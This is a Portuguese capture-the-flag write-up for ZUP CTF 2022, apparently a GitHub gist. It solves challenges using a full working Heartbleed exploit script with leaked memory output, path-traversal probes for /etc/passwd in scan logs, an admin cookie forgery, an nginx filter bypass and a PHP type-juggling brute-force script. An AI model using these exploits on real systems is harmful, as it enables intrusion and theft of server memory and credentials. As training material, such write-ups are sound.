Skip to content

Instantly share code, notes, and snippets.

@alexandrefvb
Last active July 6, 2022 19:00
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save alexandrefvb/46bb0ff2bbba6813fadff89567995c72 to your computer and use it in GitHub Desktop.
Save alexandrefvb/46bb0ff2bbba6813fadff89567995c72 to your computer and use it in GitHub Desktop.
Writeup - CTF ZUP 2022

Write-up - CTF Zup 2022 - Alexandre Fidélis Vieira Bitencourt

se FOR fácil eu MATO - v2

Este desafio era sobre a utilização de um buffer overflow para sobrepor o valor de uma variável inteira. O código fonte da página era o seguinte:

image

Caso o atacante conseguisse sobrepor o valor da variável inteira que era iniciado com zero a flag seria revelada.

O código fonte tinha a declaração de um array de char para representar a string que era entrada pelo usuário através do formulário e logo após a declaração desse buffer que tinha um tamanho limitado a variável inteira era declarada.

Para tentar garantir que o buffer não seria "estourado" o código fonte incluía o terminador nulo no fim da string a fim de impedir que uma string de tamanho maior que o buffer fosse inserida como entrada.

O buffer era preenchido com a função sprintf sem usar nenhum argumento e essa é a vulnerabilidade. Ao usar uma format string os próximos argumentos que estão na pilha são usados para preencher elas. Para estourar o buffer bastou preencher o input com uma sequência de %d's que fez com que os valores inteiros que estavam na pilha de chamada fossem colocados na string o que gerou uma string maior que o tamanho do buffer invadindo o espaço de memória da variável inteira sobrepondo seu valor.

A resposta retornada foi:

Welcome to the ZUP CTF, brought to you by RED TEAM

ZUP-CTF{n0wy0uh4d703xpl0r3pr0p3rly}

Segredo

Se você sabe a resposta para a vida, o universo e tudo mais, você já sabe a flag.

O enunciado do desafio é uma pergunta que foi extraída do livro "O guia do mochileiro das galáxias" que é um clássico da literatura nerd :D. No livro temos um computador que passou milhões de anos calculando a resposta para a pergunta "Qual o sentido da vida do universo e tudo mais?". A resposta do computador foi o número 42 o que nos leva a flag CTF-ZUP{42}.

Web Easy

Ao abrir o site havia um loop em javascript com milhões de alerts. Desabilitei o javascript do navegador para evitar os alerts e procurei na página se havia alguma flag. Como não encontrei nada, resolvi olhar os cookies gravados pelo site e a flag estava em um cookie. A requisição curl abaixo mostra o cookie gravado pelo site que é a flag ZUP-CTF{c0okie-b-olad4an}}:

$ curl -X HEAD -v http://15.228.18.99:18131/
Warning: Setting custom HTTP method to HEAD with -X/--request may not work the 
Warning: way you want. Consider using -I/--head instead.
*   Trying 15.228.18.99:18131...
* TCP_NODELAY set
* Connected to 15.228.18.99 (15.228.18.99) port 18131 (#0)
> HEAD / HTTP/1.1
> Host: 15.228.18.99:18131
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 05 Jul 2022 15:13:26 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.33
< Set-Cookie: FLAG=ZUP-CTF%7Bc0okie-b-olad4an%7D%7D; expires=Tue, 12-Jul-2022 15:13:26 GMT; Max-Age=604800; path=/
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
* Closing connection 0

Pokémon

O desafio se tratava de uma mensagem codificada como se o pikachu estivesse falando:

pi pi pi pi pi pi pi pi pi pi pika pipi pi pipi pi pi pi pipi pi pi pi pi pi pi pi pipi pi pi pi pi pi pi pi pi pi pi pichu pichu pichu pichu ka chu pipi pipi pipi pipi ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka pikachu ka ka ka ka ka pikachu pichu pichu pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pipi ka ka ka pikachu pipi pi pi pi pi pikachu pichu pi pi pi pikachu pipi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pichu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka pikachu pichu pikachu pipi pipi ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka ka pikachu ka ka ka ka ka ka ka ka ka ka pikachu pi pi pi pi pi pi pi pi pi pi pikachu ka ka ka ka ka ka ka ka ka ka pikachu pichu pichu pikachu pipi pipi pi pi pikachu pi pi pi pi pi pikachu pi pi pi pi pi pi pi pi pi pi pi pi pi pikachu pikachu pi pi pi pi pi pi pi pi pikachu

Ao pesquisar no google por "pikachu encoding" encontrei o link https://www.dcode.fr/pikalang-language.

Ao entrar a mensagem no formulário decodificar obtemos flag: ZUP-CTF{PI-PI-PI-kaka-chuu}

Look closely

Para esse desafio usei uma ferramenta chamada dirsearch (https://github.com/maurosoria/dirsearch) para mapear os diretórios e arquivos conhecidos presentes no site e obtive o seguinte resultado:

$ python dirsearch.py -u https://zup-look-closely.chals.io/

  _|. _ _  _  _  _ _|_    v0.4.2.6
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11346

Output File: /home/alexandrebitencourt/workspaces/ctf/dirsearch/reports/zup-look-closely.chals.io/__22-07-04_19-43-58.txt

Target: https://zup-look-closely.chals.io/

[19:43:58] Starting: 
[19:44:02] 301 -   46B  - /%2e%2e//google.com  ->  /google.com
[19:44:02] 301 -   46B  - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd  ->  /etc/passwd
[19:44:44] 301 -   46B  - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd  ->  /etc/passwd
[19:44:45] 301 -   87B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[19:44:56] 301 -   77B  - /engine/classes/swfupload//swfupload_f9.swf  ->  /engine/classes/swfupload/swfupload_f9.swf
[19:44:56] 301 -   74B  - /engine/classes/swfupload//swfupload.swf  ->  /engine/classes/swfupload/swfupload.swf
[19:44:58] 301 -   62B  - /extjs/resources//charts.swf  ->  /extjs/resources/charts.swf
[19:44:59] 301 -   42B  - /files  ->  /files/
[19:44:59] 200 -  599B  - /files/
[19:44:59] 404 -   19B  - /files/cache/
[19:44:59] 404 -   19B  - /files/tmp/
[19:45:04] 301 -   72B  - /html/js/misc/swfupload//swfupload.swf  ->  /html/js/misc/swfupload/swfupload.swf
[19:45:05] 200 -   83B  - /images/
[19:45:05] 404 -   19B  - /images/Sym.php
[19:45:05] 404 -   19B  - /images/c99.php
[19:45:05] 404 -   19B  - /images/README
[19:45:05] 301 -   43B  - /images  ->  /images/
[19:45:14] 200 -   39KB - /main.js

Task Completed

O scan retornou as pastas images, files e um arquivo main.js.

Ao entrar na pasta files havia um arquivo flag.txt que continha uma flag falsa e outros arquivos que não tinham nenhuma flag.

Parti para a análise do /main.js que era um arquivo javascript ofuscado. Tentei rodar o código no interpretador do nodejs para ver o que era e reclamou da não existência da variável window o que indica que é um script que espera ser rodado em um browser.

Ao abrir o console do navegador e executar o código foi revelada uma função javascript. Ao clicar nela e ver o conteúdo, no fim da função havia um comentário com uma string base64:

window.onload = function() {
    var text = "Welcome to Zup CTF";
    var myH1 = document.createElement("h1");
    myH1.innerHTML = text;
    myH1.style.textAlign = "center";
    document.body.appendChild(myH1);
    var text_paragraph = "Let's see if you can find the flag.\n\nIt is hidden somewhere in the server.";
    var myPara = document.createElement("p");
    myPara.innerHTML = text_paragraph;
    myPara.style.textAlign = "center";
    document.body.appendChild(myPara);
    var myImg = document.createElement("img");
    myImg.src = "./images/lupa.gif";
    myImg.alt = "detective";
    myImg.style.display = "block";
    myImg.style.margin = "auto";
    myImg.style.width = "50%";
    document.body.appendChild(myImg);
}
//WlVQLUNURntqNWZ1Y2sxNTR3M3MwbTNicjBoNGg0fQ==

Decodificando a string temos a flag: ZUP-CTF{j5fuck154w3s0m3br0h4h4}

A1Z26

Nesse desafio tínhamos um arquivo zip com três imagens jpg protegidas por senha e um arquivo de texto com o seguinte conteúdo:

zupzu
zupzupzupzupzupzupzup
z
zupzupzupzupz
zupzupzupzupzup
z
zupzupzupzupzupzupzupzupzu
zupzupzupzupzupzupzup
zupzupzupzupzupz

Ao pesquisar o título do desafio no google descobri que se trata de uma cifra onde as letras são substituídas pelo número correspondente no alfabeto (1 a 26) e separadas por traços e encontrei um decodificador em (https://planetcalc.com/4884/).

  • A minha primeira tentativa foi codificar o texto e usar o conteúdo gerado como entrada o fcrackzip para tentar ver se era a senha. (Não funcionou)
  • Depois tentei juntar todo resultado em uma única linha. (Não funcionou também).
  • Ao analisar o texto percebi que ele estava variando a cada linha o número de letras apenas, sempre usando a palavra zup. Contando as letras de cada uma das linhas e colocando no formato esperado pelo A1Z26 temos: 5-21-1-13-15-1-26-21-16.
  • Ao usar o decodificador com a string acima temos a senha do zip (euamoazup).
  • Com a senha foi possível extrair os jpgs do zip.
  • Utilizando o comando strings *.jpg | grep ZUP-CTF{ consegui achar a flag escondida nas imagens: ZUP-CTF{zup1nh4r0x}

Can you find me?

Acessando o site https://zup-can-you-find-me.chals.io/ e analisando o código fonte da página percebi que havia uma linha escrita em preto no fundo preto com uma string encodada em base64: [+] Conhecida como V1ZoT2VscFlVblZpTTFKcw==

Decodifinado a string através do site https://www.base64decode.org/ percebi que era encodada mais de uma vez e seguindo decodificando tive a seguinte sequência de resultados: WVhOelpYUnViM1Js, YXNzZXRub3Rl e assetnote.

Asset Note é um site relacionado a segurança que mantém wordlists que podem ser usadas com a ferramenta ffuf do Tutorial para descobrir nomes de arquivos.

Escolhi as listas baseado nas dicas do desafio:

[+] Busque .php.js.jsp.zip.rar [+] Sou uma lista de uma bigQuery

Das extensões indicadas e geradas via bigquery encontrei as seguintes listas:

https://wordlists-cdn.assetnote.io/data/manual/jsp.txt https://wordlists-cdn.assetnote.io/data/manual/php.txt

Ao realizar a busca usando a lista de nomes de jsps foi encontrado o resultado:


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : https://zup-can-you-find-me.chals.io/FUZZ
 :: Wordlist         : FUZZ: assetnote/jsp.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

listPaymentObligationDocumentTypes.jsp [Status: 200, Size: 24, Words: 1, Lines: 2, Duration: 143ms]

Ao acessar o endereço encontrado temos a flag: ZUP-CTF{JSP-RECON-9219}

Coração

Ao acessar o site do desafio havia um vídeo com a música Coração do Alceu Valença. Analisando o site não percebi nada a ser explorado, mas como era um dos únicos desafios que tinha https na URL suspeitei de uma brecha de segurança encontrada há alguns anos no SSL chamada HeartBleed. Como nunca tinha usado um exploit dessa falha resolvi dar uma pesquisada e aprender sobre quando me deparei com o seguinte vídeo no youtube: https://www.youtube.com/watch?v=SgJm0C6jzbo. Nele aprendi como confirmar através do nmap se o site é afetado pela falha e como executar um exploit para obter parte da memória do servidor. Usei o script indicado na descrição do vídeo mas tive que modificar ele para rodar no python3 pois ele era compatível apenas com python2. O script utilizado foi:

#!/usr/bin/env python
# coding=utf-8

# CVE-2014-0160 exploit PoC
# Originally from test code by Jared Stafford (jspenguin@jspenguin.org)

import sys
import struct
import socket
import time
import select
import re
import codecs
from optparse import OptionParser

options = OptionParser(
	usage='%prog server [options]',
	description='Test for SSL heartbeat vulnerability (CVE-2014-0160)'
)
options.add_option(
	'-p', '--port', type='int', default=443,
	help='TCP port to test (default: 443)'
)

def h2bin(x):
	return codecs.decode(x.replace(' ', '').replace('\n', ''), 'hex')

hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

def hexdump(s):
	for b in range(0, len(s), 16):
		lin = [c for c in s[b : b + 16]]
		hxdat = ' '.join('%02X' % c for c in lin)
		pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
		print('	%04x: %-48s %s' % (b, hxdat, pdat))
	print

def recvall(s, length, timeout=5):
	endtime = time.time() + timeout
	rdata = b''
	remain = length
	while remain > 0:
		rtime = endtime - time.time()
		if rtime < 0:
			return None
		r, w, e = select.select([s], [], [], 5)
		if s in r:
			data = s.recv(remain)
			# EOF?
			if not data:
				return None
			rdata += data
			remain -= len(data)
	return rdata


def recvmsg(s):
	hdr = recvall(s, 5)
	if hdr is None:
		print('Unexpected EOF receiving record header; server closed connection')
		return None, None, None
	typ, ver, ln = struct.unpack('>BHH', hdr)
	pay = recvall(s, ln, 10)
	if pay is None:
		print('Unexpected EOF receiving record payload; server closed connection')
		return None, None, None
	print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
	return typ, ver, pay

def hit_hb(s):
	s.send(hb)
	while True:
		typ, ver, pay = recvmsg(s)
		if typ is None:
			print ('No heartbeat response received; server likely not vulnerable')
			return False

		if typ == 24:
			print ('Received heartbeat response:')
			hexdump(pay)
			if len(pay) > 3:
				print('WARNING: server returned more data than it should; server is vulnerable!')
			else:
				print('Server processed malformed heartbeat, but did not return any extra data.')
			return True

		if typ == 21:
			print('Received alert:')
			hexdump(pay)
			print ('Server returned error; likely not vulnerable')
			return False

def main():
	opts, args = options.parse_args()
	if len(args) < 1:
		options.print_help()
		return

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print('Connecting...')
	sys.stdout.flush()
	s.connect((args[0], opts.port))
	print ('Sending Client Hello...')
	sys.stdout.flush()
	s.send(hello)
	print ('Waiting for Server Hello...')
	sys.stdout.flush()
	while True:
		typ, ver, pay = recvmsg(s)
		if typ == None:
			print ('Server closed connection without sending Server Hello.')
			return
		# Look for server hello done message.
		if typ == 22 and pay[0] == 0x0E:
			break

	print('Sending heartbeat request...')
	sys.stdout.flush()
	s.send(hb)
	hit_hb(s)

if __name__ == '__main__':
	main()

Para executar o ataque rodei o seguinte comando:

$ python hearbleed.py 18.228.224.29 -p 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 716
 ... received message: type = 22, ver = 0302, length = 331
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
	0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
	0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
	0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
	0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
	0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
	0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
	0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...
	0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00  A...............
	0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01  ................
	0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00  ..I...........4.
	00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00  2...............
	00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00  ................
	00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00  ................
	00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 63 65 70 74  ....#.......cept
	00e0: 2D 4C 61 6E 67 75 61 67 65 3A 20 70 74 0D 0A 43  -Language: pt..C
	00f0: 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6D 61  ache-Control: ma
	0100: 78 2D 61 67 65 3D 30 0D 0A 43 6F 6E 6E 65 63 74  x-age=0..Connect
	0110: 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69 76 65 0D  ion: keep-alive.
	0120: 0A 53 65 63 2D 46 65 74 63 68 2D 44 65 73 74 3A  .Sec-Fetch-Dest:
	0130: 20 64 6F 63 75 6D 65 6E 74 0D 0A 53 65 63 2D 46   document..Sec-F
	0140: 65 74 63 68 2D 4D 6F 64 65 3A 20 6E 61 76 69 67  etch-Mode: navig
	0150: 61 74 65 0D 0A 53 65 63 2D 46 65 74 63 68 2D 53  ate..Sec-Fetch-S
	0160: 69 74 65 3A 20 6E 6F 6E 65 0D 0A 53 65 63 2D 46  ite: none..Sec-F
	0170: 65 74 63 68 2D 55 73 65 72 3A 20 3F 31 0D 0A 55  etch-User: ?1..U
	0180: 70 67 72 61 64 65 2D 49 6E 73 65 63 75 72 65 2D  pgrade-Insecure-
	0190: 52 65 71 75 65 73 74 73 3A 20 31 0D 0A 55 73 65  Requests: 1..Use
	01a0: 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61  r-Agent: Mozilla
	01b0: 2F 35 2E 30 20 28 58 31 31 3B 20 4C 69 6E 75 78  /5.0 (X11; Linux
	01c0: 20 78 38 36 5F 36 34 29 20 57 6C 56 51 4C 55 4E   x86_64) WlVQLUN
	01d0: 55 52 6E 74 6F 4D 7A 52 79 4E 32 4A 73 4D 7A 4E  URntoMzRyN2JsMzN
	01e0: 6B 4D 7A 51 31 65 58 30 3D 20 43 68 72 6F 6D 65  kMzQ1eX0= Chrome
	01f0: 2F 31 30 32 2E 30 2E 30 2E 30 20 53 61 66 61 72  /102.0.0.0 Safar
	0200: 69 2F 35 33 37 2E 33 36 0D 0A 73 65 63 2D 63 68  i/537.36..sec-ch
	0210: 2D 75 61 3A 20 22 20 4E 6F 74 20 41 3B 42 72 61  -ua: " Not A;Bra
	0220: 6E 64 22 3B 76 3D 22 39 39 22 2C 20 22 43 68 72  nd";v="99", "Chr
	0230: 6F 6D 69 75 6D 22 3B 76 3D 22 31 30 32 22 2C 20  omium";v="102", 
	0240: 22 47 6F 6F 67 6C 65 20 43 68 72 6F 6D 65 22 3B  "Google Chrome";
	0250: 76 3D 22 31 30 32 22 0D 0A 73 65 63 2D 63 68 2D  v="102"..sec-ch-
	0260: 75 61 2D 6D 6F 62 69 6C 65 3A 20 3F 30 0D 0A 73  ua-mobile: ?0..s
	0270: 65 63 2D 63 68 2D 75 61 2D 70 6C 61 74 66 6F 72  ec-ch-ua-platfor
	0280: 6D 3A 20 22 4C 69 6E 75 78 22 0D 0A 0D 0A FC 39  m: "Linux".....9
	0290: 2E 52 D6 7D D3 01 80 60 C8 38 95 08 43 9B 00 00  .R.}...`.8..C...
	... mais alguns dados ...

O dump da memória gerado continha uma string codificada em base64 WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0= que ao ser decodificada revelou a flag.

$ echo WlVQLUNURntoMzRyN2JsMzNkMzQ1eX0= | base64 -d
ZUP-CTF{h34r7bl33d345y}

Localstack

O servidor deste desafio estava rodando o Localstack que é uma ferramenta de desenvolvimento que simula a AWS localmente para realização de testes e desenvolvimento.

Configurei as credenciais do client da AWS para as esperadas pelo LocalStack e fiz algum tempo de discovery dos serviços que estavam com dados.

Acabei encontrando na região sa-east-1 duas tabelas do dynamo com o comando:

$ aws --endpoint-url http://15.228.223.107:4566 dynamodb list-tables
{
    "TableNames": [
        "Music",
        "Sertanejo"
    ]
}

Ao fazer scan em uma das tabelas chamada Music com o comando acabei encontrado a flag ZUP-CTF{M3l0di44-l33t} em um dos registros da tabela:

$ aws --endpoint-url http://15.228.223.107:4566 dynamodb scan --table-name Music
{
    "Items": [
        {
            "Artist": {
                "S": "No One You Know"
            },
            "AlbumTitle": {
                "S": "ZUP-CTF{M3l0di44-l33t}"
            },
            "Awards": {
                "N": "1"
            },
            "SongTitle": {
                "S": "Call Me Today"
            }
        }
    ],
    "Count": 1,
    "ScannedCount": 1,
    "ConsumedCapacity": null
}

Reversing 04

O objetivo do desafio era supostamente gerar um arquivo de licença válido para o ZipZup. Utilizando o IDA Freeware (https://hex-rays.com/ida-free/) para disassemblar e debugar o executável consegui identificar que na verdade a rotina de verificação apenas olhava se o arquivo informado como argumento no parâmetro --license existia e sempre retornava -1. Abaixo temos o disassembly da rotina de verificação:

.text:000055BE32D754E9 ; =============== S U B R O U T I N E =======================================
.text:000055BE32D754E9
.text:000055BE32D754E9 ; Attributes: bp-based frame
.text:000055BE32D754E9
.text:000055BE32D754E9 sub_55BE32D754E9 proc near              ; CODE XREF: main+D6↓p
.text:000055BE32D754E9
.text:000055BE32D754E9 filename        = qword ptr -18h
.text:000055BE32D754E9 stream          = qword ptr -8
.text:000055BE32D754E9
.text:000055BE32D754E9                 endbr64
.text:000055BE32D754ED                 push    rbp
.text:000055BE32D754EE                 mov     rbp, rsp
.text:000055BE32D754F1                 sub     rsp, 20h
.text:000055BE32D754F5                 mov     [rbp+filename], rdi
.text:000055BE32D754F9                 mov     rax, [rbp+filename]
.text:000055BE32D754FD                 lea     rsi, modes      ; "r"
.text:000055BE32D75504                 mov     rdi, rax        ; filename
.text:000055BE32D75507                 call    _fopen
.text:000055BE32D7550C                 mov     [rbp+stream], rax
.text:000055BE32D75510                 cmp     [rbp+stream], 0
.text:000055BE32D75515                 jnz     short loc_55BE32D75536
.text:000055BE32D75517                 mov     rax, [rbp+filename]
.text:000055BE32D7551B                 mov     rsi, rax
.text:000055BE32D7551E                 lea     rdi, format     ; "Error opening %s file\n"
.text:000055BE32D75525                 mov     eax, 0
.text:000055BE32D7552A                 call    _printf
.text:000055BE32D7552F                 mov     eax, 0FFFFFFFFh
.text:000055BE32D75534                 jmp     short locret_55BE32D75547
.text:000055BE32D75536 ; ---------------------------------------------------------------------------
.text:000055BE32D75536
.text:000055BE32D75536 loc_55BE32D75536:                       ; CODE XREF: sub_55BE32D754E9+2C↑j
.text:000055BE32D75536                 mov     rax, [rbp+stream]
.text:000055BE32D7553A                 mov     rdi, rax        ; stream
.text:000055BE32D7553D                 call    _fclose
.text:000055BE32D75542                 mov     eax, 0FFFFFFFFh
.text:000055BE32D75547
.text:000055BE32D75547 locret_55BE32D75547:                    ; CODE XREF: sub_55BE32D754E9+4B↑j
.text:000055BE32D75547                 leave
.text:000055BE32D75548                 retn
.text:000055BE32D75548 sub_55BE32D754E9 endp

Nessa subrotina da para ver que o arquivo é aberto e fechado sem nenhum tipo de leitura ou qualquer outra verificação e que o retorno da função (colocado no registrador eax) é sempre 0FFFFFFFFh (-1).

O código que chama essa subrotina fica na função main do executável e o trecho relevante do disassembly é o seguinte:

.text:000055BE32D75B15                 mov     rax, [rbp+var_270]
.text:000055BE32D75B1C                 add     rax, 10h
.text:000055BE32D75B20                 mov     rax, [rax]
.text:000055BE32D75B23                 mov     rdi, rax
.text:000055BE32D75B26                 call    sub_55BE32D754E9
.text:000055BE32D75B2B                 test    eax, eax
.text:000055BE32D75B2D                 jnz     short loc_55BE32D75B4A
.text:000055BE32D75B2F                 lea     rdi, aThanksForPurch ; "Thanks for purchasing ZupZip!\n"
.text:000055BE32D75B36                 call    _puts
.text:000055BE32D75B3B                 call    sub_55BE32D75549
.text:000055BE32D75B40                 mov     eax, 0
.text:000055BE32D75B45                 jmp     loc_55BE32D76646
.text:000055BE32D75B4A ; ---------------------------------------------------------------------------
.text:000055BE32D75B4A
.text:000055BE32D75B4A loc_55BE32D75B4A:                       ; CODE XREF: main+DD↑j
.text:000055BE32D75B4A                 lea     rdi, aLicenseNotVali ; "License not valid!"
.text:000055BE32D75B51                 call    _puts
.text:000055BE32D75B56                 mov     eax, 0FFFFFFFFh
.text:000055BE32D75B5B                 jmp     loc_55BE32D76646

Após chamar a subrotina sub_55BE32D754E9 é feita uma verificação para avaliar se o eax contém zero e caso não tenha é exibida a mensagem de licença inválida. Caso contrário é chamada uma outra subrotina que imprime a flag sub_55BE32D75549.

Confesso que isso foi um pouco frustrante pois esperava ter que gerar um arquivo de licença válido e nesse desafio isso seria impossível. Gerei um arquivo de licença com qualquer conteúdo para prosseguir e restou fazer o trabalho sujo de alterar o retorno da função de verificação para que a instrução jnz short loc_55BE32D75B4A não desviasse o fluxo para o erro e a flag fosse impressa.

Isso poderia ser feito com um patch no executável, seja alterando o valor de retorno da função que estava fixo para zero, seja alterando o bytecode da instrução jnz para jz, mas preferi executar o debugger, colocar um breakpoint na instrução test eax, eax que é executada antes do jnz e alterar o valor de EAX para zero antes de prosseguir tendo a flag impressa no console:

Please note that ZupZip is not free software.
After 40 day trial period you must either buy a license
or remove it from your computer

Press any key to continue...

Thanks for purchasing ZupZip!

ZUP-CTF{r3vEr5e_M4st3r}

Simple-Request

Ao acessar a página do desafio temos a configuração do nginx com uma regex para retornar 403 quando a requisição é feita para a página flag.html:

image

Para resolver esse desafio era necessário fazer uma requisição simples HTTP que está definida na RFC do HTTP/1.0 (https://datatracker.ietf.org/doc/html/rfc1945#section-4.1).

Nela a definição de uma Simple-Request é:

Simple-Request = "GET" SP Request-URI CRLF

Utilizando o netcat conectei na porta do servidor e enviei a seguinte requisição:

$ nc 18.228.232.207 80
GET /flag.html

ZUP-CTF{k5j4dh14u5dhc13dfuhfd5}

O servidor considera essa requisição válida e retorna o HTML pois a regex levava em consideração a versão HTTP que não é enviada em uma requisição simples.

Admin Only

Após utilizar o nmap para fazer um scan completo do site encontrei um robots.txt com o seguinte conteúdo:

Disallow: /bab93a7b6ea8f031879676f649312d1e

Ao acessar o arquivo proíbida pelo robots ele tinha o seguinte conteúdo:

user:d22aa28cbe1d8aa64b0752d5a69a4e9c

Esse formato indica um arquivo de senhas com o formato usuario:hash_da_senha. Pelo tamanho do hash da para perceber que se trata de um MD5.

Acessei o site md5decrypt.net e joguei o hash obtendo como resultado:

user12345678

Fiz o login no desafio com o usuário user e a senha user12345678.

Havia um link com a flag mas ao clicar nele a mensagem Sorry. Only admin can see the flag! era exibida.

Analisando os cookies gravados pelo site vi que havia um cookie user_id com o conteúdo ee11cbb19052e40b07aac0ca060c23ee que é outro hash md5 conhecido. Decodificando o hash ele corresponde à string user. Como o esperado pelo site é que o acesso seja feito pelo admin alterei o valor do cookie para 21232f297a57a5a743894a0e4a801fc3que corresponde ao md5 da string admin.

Ao fazer refresh da página a flag foi exibida: ZUP-CTF{345y4dm1n1d0rC00k13ch4ll3ng3}

Welcome to the Juggling v2.0

Pesquisando o termo "php juggling" no google achei muita informação e exemplos sobre o problema de ser usar o operador de comparação == no php ao invés do operador ===.

Dentre as informações interessantes que encontrei, quando o operador == é usado para comparar uma string que começa com 0e o valor é tratado como um número e comparações como "0e00123123123" == "0e212133212313" por exemplo, sempre retornam true pois zero é igual a zero.

Olhando para o código fonte do problema não consegui pensar em uma forma trivial de fazer o exploit pois o hash calculado pelo desafio dependia da flag que não era uma variável que estava sobre meu controle.

image

Com isso em mente criei um script para fazer força bruta definido o parâmetro hash como 0e0000000 que satisfazia a condição do hash ser maior que 6 dígitos, fixei o parâmetro email como admin@zup.com.br para satisfazer a condição do email ter domínio zup.com.br e variei o valor do password com strings aleatórias. A ideia por trás desse ataque de força bruta é a de que o hash MD5 eventualmente vai retornar algo começado com 0e com alguma das strings enviadas, o que torna a comparação com o hash enviado verdadeira.

Fiz uso de asyncio do python para enviar 1000 requisições por vez limitando a 40 requisições simultâneas para obter o resultado mais rápido. Segue o script criado:

import asyncio
import aiohttp
import time
import string
import random

alphabet = string.ascii_letters + string.digits

async def gather_with_concurrency(n, *tasks):
    semaphore = asyncio.Semaphore(n)

    async def sem_task(task):
        async with semaphore:
            return await task

    return await asyncio.gather(*(sem_task(task) for task in tasks))


async def get_async(url, session, results):
    async with session.get(url) as response:
        i = url.split('/')[-1]
        obj = await response.text()
        results[i] = obj

def generate_random_pass():
    length = random.choice(range(1, 10))
    letters = random.choices(alphabet, k=length)
    return ''.join(letters)

async def main():
    conn = aiohttp.TCPConnector(limit=None, ttl_dns_cache=300)
    session = aiohttp.ClientSession(connector=conn)
    results = {}
    conc_req = 40
    now = time.time()
    found = False
    count = 0
    while not found:
        urls = [f"https://zup-welcometothejuggling2.chals.io/?email=admin@zup.com.br&pass={generate_random_pass()}&hash=0e0000" for _ in range(1000)]
        await gather_with_concurrency(conc_req, *[get_async(i, session, results) for i in urls])
        count += len(urls)
        for url, content in results.items():
            if not "Wrooooooong" in content:
                print(url, content)
                found = True
        print(count)
        results = {}
    time_taken = time.time() - now
    print(time_taken)
    await session.close()


asyncio.run(main())

Após pouco mais de um minuto e 18 mil requisições a comparação deu true e a flag ZUP-CTF{Ju66l1n62.0!} foi encontrada:

